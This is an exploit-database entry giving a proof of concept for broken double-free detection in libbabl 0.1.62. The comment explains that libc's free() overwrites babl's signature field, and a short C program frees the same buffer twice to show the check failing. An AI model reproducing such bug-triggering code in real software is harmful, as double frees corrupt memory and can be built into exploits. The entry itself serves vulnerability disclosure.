libbabl version 0.1.62 broken double-free detection proof of concept exploit.
8f0462ded515b336ad89248fa739c3ad# Exploit Title: libbabl 0.1.62 - Broken Double Free Detection (PoC)
# Date: December 14, 2020
# Exploit Author: Carter Yagemann
# Vendor Homepage: https://www.gegl.org
# Software Link: https://www.gegl.org/babl/
# Version: libbabl 0.1.62 and newer
# Tested on: Debian Buster (Linux 4.19.0-9-amd64)
# Compile: gcc -Ibabl-0.1 -lbabl-0.1 babl-0.1.62_babl_free.c
/*
* Babl has an interesting way of managing buffers allocated and freed using babl_malloc()
* and babl_free(). This is the structure of its allocations (taken from babl-memory.c):
*
* typedef struct
* {
* char *signature;
* size_t size;
* int (*destructor)(void *ptr);
* } BablAllocInfo;
*
*
* signature is used to track whether a chunk was allocated by babl, and if so, whether
* it is currently allocated or freed. This is done by either pointing it to the global
* string "babl-memory" or "So long and thanks for all the fish." (babl-memory.c:44).
*
* Using this signature, babl can detect bad behavior's like double free (babl-memory.c:173):
*
* void
* babl_free (void *ptr,
* ...)
* {
* ...
* if (freed == BAI (ptr)->signature)
* fprintf (stderr, "\nbabl:double free detected\n");
*
*
* Or so the developers think. As it turns out, because babl internally uses libc's malloc()
* and free(), which has its own data that it stores within freed chunks, most systems will
* overwrite babl's signature variable upon freeing, breaking the double free detection.
* The simple PoC below demonstrates this:
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <babl/babl-memory.h>
int main(int argc, char **argv) {
void *buf = babl_malloc(42);
babl_free(buf);
// BUG: reports an "unknown" pointer warning when the following is clea=
rly a double free
babl_free(buf);
return 0;
}